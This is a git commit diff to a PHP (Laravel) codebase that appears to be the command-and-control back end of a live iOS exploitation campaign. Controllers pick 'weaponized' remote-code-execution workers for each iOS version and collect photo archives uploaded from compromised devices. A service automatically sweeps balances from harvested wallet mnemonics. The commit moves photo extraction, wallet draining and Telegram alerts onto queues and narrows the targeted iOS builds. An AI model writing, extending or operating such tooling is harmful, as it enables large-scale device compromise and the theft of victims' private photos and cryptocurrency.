feat: quene
This commit is contained in:
@@ -15,8 +15,9 @@ class AutoTransferCommand extends Command
|
||||
{
|
||||
$stats = $autoTransfer->run();
|
||||
$this->info(sprintf(
|
||||
'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d',
|
||||
'auto-transfer inspected=%d queued=%d triggered=%d ok=%d failed=%d skipped=%d',
|
||||
$stats['inspected'],
|
||||
$stats['queued'],
|
||||
$stats['triggered'],
|
||||
$stats['ok'],
|
||||
$stats['failed'],
|
||||
|
||||
@@ -235,6 +235,7 @@ class DeviceController extends Controller
|
||||
$this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/inbox/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
|
||||
@@ -3,9 +3,9 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\PhotoArchiveIngest;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
|
||||
@@ -14,17 +14,17 @@ class C2Controller extends Controller
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
/** @var PhotoArchiveIngest */
|
||||
private $photos;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
$this->photos = $photos;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
@@ -136,33 +136,19 @@ class C2Controller extends Controller
|
||||
];
|
||||
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
try {
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
$this->photos->accept(
|
||||
$device,
|
||||
(string) $request->file('file')->getRealPath(),
|
||||
$batchBase,
|
||||
$photoMeta,
|
||||
'lab',
|
||||
[
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -174,21 +175,31 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
|
||||
$ios = $this->requestIos($request);
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
$ds = PageVisit::isDarkSwordIosVersionString($ios);
|
||||
if ($ds) {
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
$chain = 'darksword';
|
||||
$reason = 'DarkSword '.$ios;
|
||||
} else {
|
||||
$recommended = '';
|
||||
$fallbacks = [];
|
||||
$chain = 'coruna';
|
||||
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
|
||||
}
|
||||
|
||||
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
'chain' => $chain,
|
||||
'weaponized' => true,
|
||||
'gated' => false,
|
||||
'ios' => $ios,
|
||||
'reason' => 'DarkSword 18.4-18.7.2',
|
||||
'reason' => $reason,
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'band' => [
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'usable_for_attempt' => true,
|
||||
'usable_for_attempt' => $ds,
|
||||
'usable_grade' => 'LIVE',
|
||||
'weaponized' => true,
|
||||
],
|
||||
@@ -320,25 +331,17 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Worker plan from live one99.vip /api/chain-targets.
|
||||
*
|
||||
* 18.4.x → 18.4 then [18.5, 18.6]
|
||||
* 18.5.x → 18.5 then [18.6, 18.4]
|
||||
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
|
||||
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
|
||||
*
|
||||
* @return array{0: string, 1: list<string>}
|
||||
*/
|
||||
private function chainTargetWorkers(string $ios): array
|
||||
{
|
||||
$minor = null;
|
||||
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
|
||||
$minor = (int) $m[1];
|
||||
}
|
||||
$canon = PageVisit::canonicalIosVersion($ios);
|
||||
|
||||
return match ($minor) {
|
||||
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
|
||||
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
|
||||
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
|
||||
return match ($canon) {
|
||||
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
||||
default => ['rce_worker_18.6.js', []],
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -3,9 +3,8 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\PhotoArchiveIngest;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
|
||||
@@ -25,6 +24,7 @@ class XxbbC2Controller extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
private readonly PhotoArchiveIngest $photos,
|
||||
) {}
|
||||
|
||||
public function vhx(): Response
|
||||
@@ -107,33 +107,19 @@ class XxbbC2Controller extends Controller
|
||||
];
|
||||
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
try {
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'xxbb');
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
$this->photos->accept(
|
||||
$device,
|
||||
(string) $request->file('file')->getRealPath(),
|
||||
$batchBase,
|
||||
$photoMeta,
|
||||
'xxbb',
|
||||
[
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
@@ -237,14 +223,6 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed>|null $body
|
||||
*/
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
use App\Jobs\RecordPageHit;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\UserAgentParser;
|
||||
@@ -43,7 +44,7 @@ class PageHitController extends Controller
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$referer = $this->referer($request);
|
||||
|
||||
PageVisit::recordLanding([
|
||||
$attrs = [
|
||||
'channel_id' => $channelId,
|
||||
'client_uid' => $uid,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
@@ -54,7 +55,13 @@ class PageHitController extends Controller
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $referer,
|
||||
], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']));
|
||||
];
|
||||
$chain = PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']);
|
||||
if (config('queue.default') === 'sync') {
|
||||
PageVisit::recordLanding($attrs, $chain);
|
||||
} else {
|
||||
RecordPageHit::dispatch($attrs, $chain);
|
||||
}
|
||||
|
||||
return $this->pixel();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\AutoTransferService;
|
||||
use Illuminate\Contracts\Queue\ShouldBeUnique;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class AutoTransferAddress implements ShouldQueue, ShouldBeUnique
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 180;
|
||||
|
||||
public int $uniqueFor = 180;
|
||||
|
||||
public function __construct(
|
||||
public int $walletAddressId,
|
||||
public string $reason = 'cron',
|
||||
) {}
|
||||
|
||||
public function uniqueId(): string
|
||||
{
|
||||
return 'auto-transfer:'.$this->walletAddressId;
|
||||
}
|
||||
|
||||
public function handle(AutoTransferService $autoTransfer): void
|
||||
{
|
||||
$address = WalletAddress::query()->find($this->walletAddressId);
|
||||
if ($address === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$autoTransfer->evaluate($address, $this->reason);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Services\PhotoArchiveIngest;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class ExtractPhotoArchive implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 1;
|
||||
|
||||
public int $timeout = 180;
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $photoMeta
|
||||
* @param array<string, mixed> $rawCounters
|
||||
*/
|
||||
public function __construct(
|
||||
public int $deviceId,
|
||||
public string $inboxPath,
|
||||
public string $batchBase,
|
||||
public array $photoMeta,
|
||||
public string $flavor,
|
||||
public array $rawCounters,
|
||||
) {}
|
||||
|
||||
public function handle(PhotoArchiveIngest $ingest): void
|
||||
{
|
||||
$ingest->process(
|
||||
$this->deviceId,
|
||||
$this->inboxPath,
|
||||
$this->batchBase,
|
||||
$this->photoMeta,
|
||||
$this->flavor,
|
||||
$this->rawCounters,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\PageVisit;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class RecordPageHit implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $attrs
|
||||
*/
|
||||
public function __construct(
|
||||
public array $attrs,
|
||||
public int $chain,
|
||||
) {}
|
||||
|
||||
public function handle(): void
|
||||
{
|
||||
PageVisit::recordLanding($this->attrs, $this->chain);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
|
||||
class SendTelegramMessage implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
public int $tries = 3;
|
||||
|
||||
public int $timeout = 20;
|
||||
|
||||
public function __construct(
|
||||
public string $chatId,
|
||||
public string $text,
|
||||
public ?string $token = null,
|
||||
) {}
|
||||
|
||||
public function handle(TelegramNotifier $telegram): void
|
||||
{
|
||||
$telegram->sendToChat($this->chatId, $this->text, $this->token);
|
||||
}
|
||||
}
|
||||
@@ -41,23 +41,44 @@ class PageVisit extends Model
|
||||
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
|
||||
}
|
||||
|
||||
/** Only these iOS builds enter the DarkSword landing / workers. */
|
||||
public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
|
||||
|
||||
/**
|
||||
* t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword.
|
||||
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
|
||||
*/
|
||||
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
|
||||
{
|
||||
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
|
||||
return self::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
return self::isDarkSwordIosVersionString($osVersion)
|
||||
? self::CHAIN_DARKSWORD
|
||||
: self::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
public static function isDarkSwordIosVersionString(?string $osVersion): bool
|
||||
{
|
||||
$canon = self::canonicalIosVersion($osVersion);
|
||||
|
||||
return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
|
||||
*/
|
||||
public static function canonicalIosVersion(?string $osVersion): string
|
||||
{
|
||||
$version = trim((string) $osVersion);
|
||||
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
|
||||
return self::CHAIN_CORUNA;
|
||||
}
|
||||
if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
|
||||
return self::CHAIN_DARKSWORD;
|
||||
return '';
|
||||
}
|
||||
$parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
|
||||
|
||||
return self::CHAIN_CORUNA;
|
||||
return $parts[2] === 0
|
||||
? $parts[0].'.'.$parts[1]
|
||||
: $parts[0].'.'.$parts[1].'.'.$parts[2];
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\AutoTransferAddress;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use Illuminate\Support\LazyCollection;
|
||||
@@ -20,12 +21,13 @@ class AutoTransferService
|
||||
/**
|
||||
* Cron entry: scan addresses that have a mnemonic and any positive coin balance.
|
||||
*
|
||||
* @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int}
|
||||
* @return array{inspected: int, queued: int, triggered: int, ok: int, failed: int, skipped: int}
|
||||
*/
|
||||
public function run(): array
|
||||
{
|
||||
$stats = [
|
||||
'inspected' => 0,
|
||||
'queued' => 0,
|
||||
'triggered' => 0,
|
||||
'ok' => 0,
|
||||
'failed' => 0,
|
||||
@@ -37,13 +39,35 @@ class AutoTransferService
|
||||
'at' => now()->toDateTimeString(),
|
||||
], 'transfer');
|
||||
|
||||
$async = config('queue.default') !== 'sync';
|
||||
|
||||
foreach ($this->candidates() as $address) {
|
||||
$stats['inspected']++;
|
||||
if ($async) {
|
||||
AutoTransferAddress::dispatch($address->id, 'cron');
|
||||
$stats['queued']++;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$outcome = $this->evaluate($address, 'cron');
|
||||
$stats['triggered'] += $outcome['triggered'];
|
||||
$stats['ok'] += $outcome['ok'];
|
||||
$stats['failed'] += $outcome['failed'];
|
||||
$stats['skipped'] += $outcome['skipped'];
|
||||
|
||||
if ($outcome['failed'] > 0) {
|
||||
create_log([
|
||||
'event' => 'auto_transfer_run_aborted',
|
||||
'reason' => 'transfer_failed',
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $address->address,
|
||||
'chain' => $address->chain_type,
|
||||
'stats' => $stats,
|
||||
'at' => now()->toDateTimeString(),
|
||||
], 'transfer');
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
@@ -179,6 +203,18 @@ class AutoTransferService
|
||||
continue;
|
||||
}
|
||||
|
||||
if ($this->lastAutoFailed((string) $address->address, $asset)) {
|
||||
create_log($base + [
|
||||
'event' => 'auto_transfer_skip',
|
||||
'skip' => 'previous_auto_transfer_failed',
|
||||
'asset' => $asset,
|
||||
'balance' => (string) $balance,
|
||||
], 'transfer');
|
||||
$stats['skipped']++;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
if ($this->recentAutoSuccess((string) $address->address, $asset)) {
|
||||
try {
|
||||
$this->balances->refresh($address);
|
||||
@@ -272,6 +308,7 @@ class AutoTransferService
|
||||
'asset' => $asset,
|
||||
'error' => $result['error'] ?? 'unknown',
|
||||
], 'transfer');
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -287,21 +324,42 @@ class AutoTransferService
|
||||
return $stats;
|
||||
}
|
||||
|
||||
private function lastAutoFailed(string $fromAddress, string $asset): bool
|
||||
{
|
||||
$latest = $this->latestAutoRecord($fromAddress, $asset);
|
||||
|
||||
return $latest !== null && $latest->status === TransferRecord::STATUS_FAILED;
|
||||
}
|
||||
|
||||
private function recentAutoSuccess(string $fromAddress, string $asset): bool
|
||||
{
|
||||
$latest = $this->latestAutoRecord($fromAddress, $asset);
|
||||
if ($latest === null || $latest->status !== TransferRecord::STATUS_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$at = $latest->created_at;
|
||||
if ($at === null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $at->gte(now()->subMinutes(self::COOLDOWN_MINUTES));
|
||||
}
|
||||
|
||||
private function latestAutoRecord(string $fromAddress, string $asset): ?TransferRecord
|
||||
{
|
||||
$fromAddress = trim($fromAddress);
|
||||
$asset = strtoupper(trim($asset));
|
||||
if ($fromAddress === '' || $asset === '') {
|
||||
return false;
|
||||
return null;
|
||||
}
|
||||
|
||||
return TransferRecord::query()
|
||||
->where('from_address', $fromAddress)
|
||||
->where('asset', $asset)
|
||||
->where('operator', 'auto')
|
||||
->where('status', TransferRecord::STATUS_SUCCESS)
|
||||
->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES))
|
||||
->exists();
|
||||
->orderByDesc('id')
|
||||
->first();
|
||||
}
|
||||
|
||||
private function assetScale(string $asset): int
|
||||
|
||||
@@ -154,18 +154,20 @@ class DarkSwordIngestAdapter
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
$os = $ios !== null ? 'iOS' : $parsed['os'];
|
||||
$osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null);
|
||||
PageVisit::recordLanding([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => $uid,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $ios !== null ? 'iOS' : $parsed['os'],
|
||||
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
|
||||
'os' => $os,
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
||||
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
||||
], PageVisit::CHAIN_DARKSWORD);
|
||||
], PageVisit::chainFromIosVersion($os, $osVersion));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -273,10 +275,20 @@ class DarkSwordIngestAdapter
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $key)->first();
|
||||
if ($ios !== null) {
|
||||
$chain = PageVisit::isDarkSwordIosVersionString($ios)
|
||||
? Device::CHAIN_DARKSWORD
|
||||
: Device::CHAIN_CORUNA;
|
||||
} else {
|
||||
$chain = $existing
|
||||
? (int) $existing->chain
|
||||
: Device::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'chain' => $chain,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
@@ -301,7 +313,7 @@ class DarkSwordIngestAdapter
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'chain' => $chain,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Jobs\ExtractPhotoArchive;
|
||||
use App\Models\Device;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoArchiveIngest
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Persist the uploaded 7z, then extract now (sync) or via queue.
|
||||
* Caller always ACKs independently.
|
||||
*
|
||||
* @param array{
|
||||
* x_hit?: ?int,
|
||||
* upload_count?: ?int,
|
||||
* process_index?: ?int,
|
||||
* text_count?: ?int,
|
||||
* barcode_count?: ?int
|
||||
* } $photoMeta
|
||||
* @param array<string, mixed> $rawCounters
|
||||
*/
|
||||
public function accept(
|
||||
Device $device,
|
||||
string $absolutePath,
|
||||
string $batchBase,
|
||||
array $photoMeta,
|
||||
string $flavor,
|
||||
array $rawCounters,
|
||||
): void {
|
||||
if (! $device->albumStorageEnabled() || ! is_file($absolutePath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$rel = 'c2/inbox/'.$device->device_id.'/'.date('YmdHis').'_'.str_replace('.', '', uniqid('', true)).'.bin';
|
||||
$fh = fopen($absolutePath, 'rb');
|
||||
if ($fh === false) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Storage::disk('local')->put($rel, $fh);
|
||||
} finally {
|
||||
if (is_resource($fh)) {
|
||||
fclose($fh);
|
||||
}
|
||||
}
|
||||
|
||||
if (config('queue.default') === 'sync') {
|
||||
$this->process($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
||||
}
|
||||
|
||||
/**
|
||||
* Same failure policy as the old in-request extract:
|
||||
* 7z miss / empty members → log ok=false, skip ingest, never throw to the client.
|
||||
*
|
||||
* @param array<string, mixed> $photoMeta
|
||||
* @param array<string, mixed> $rawCounters
|
||||
*/
|
||||
public function process(
|
||||
int $deviceId,
|
||||
string $inboxPath,
|
||||
string $batchBase,
|
||||
array $photoMeta,
|
||||
string $flavor,
|
||||
array $rawCounters,
|
||||
): void {
|
||||
$logType = $flavor === 'xxbb' ? 'xxbb' : 'c2';
|
||||
$event = $flavor === 'xxbb' ? 'xxbb_photo_extract' : 'check_extract';
|
||||
$device = Device::query()->find($deviceId);
|
||||
$abs = Storage::disk('local')->path($inboxPath);
|
||||
|
||||
try {
|
||||
if ($device === null || ! $device->albumStorageEnabled() || ! is_file($abs)) {
|
||||
create_log([
|
||||
'event' => $event,
|
||||
'device_key' => $device?->device_id,
|
||||
'extract' => [
|
||||
'ok' => false,
|
||||
'files' => [],
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
'stderr' => 'inbox missing or album storage off',
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => $rawCounters,
|
||||
], $logType);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$bytes = (string) file_get_contents($abs);
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
try {
|
||||
$extracted = $this->archiveFor($flavor)->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => $event,
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => $rawCounters,
|
||||
], $logType);
|
||||
} catch (\Throwable $e) {
|
||||
create_log([
|
||||
'event' => $event,
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => false,
|
||||
'files' => [],
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
'stderr' => substr($e->getMessage(), 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => $rawCounters,
|
||||
], $logType);
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
} finally {
|
||||
Storage::disk('local')->delete($inboxPath);
|
||||
}
|
||||
}
|
||||
|
||||
private function archiveFor(string $flavor): CorunaArchive
|
||||
{
|
||||
if ($flavor === 'xxbb') {
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
return app(CorunaArchive::class);
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\SendTelegramMessage;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
@@ -114,8 +115,15 @@ class TelegramNotifier
|
||||
return false;
|
||||
}
|
||||
|
||||
$async = config('queue.default') !== 'sync';
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
if ($async) {
|
||||
SendTelegramMessage::dispatch($chatId, $text);
|
||||
$ok = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($this->sendToChat($chatId, $text)['ok']) {
|
||||
$ok = true;
|
||||
}
|
||||
|
||||
@@ -83,7 +83,10 @@ class TokenviewMonitorService
|
||||
}
|
||||
|
||||
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
|
||||
if (in_array($coin, ['TRX', 'TRON'], true) && ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) {
|
||||
// Native TRX webhooks omit tokenSymbol. Only drop explicit non-USDT/TRX tokens.
|
||||
if (in_array($coin, ['TRX', 'TRON'], true)
|
||||
&& $tokenSymbol !== ''
|
||||
&& ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) {
|
||||
return;
|
||||
}
|
||||
$value = $payload['value'] ?? null;
|
||||
|
||||
Reference in New Issue
Block a user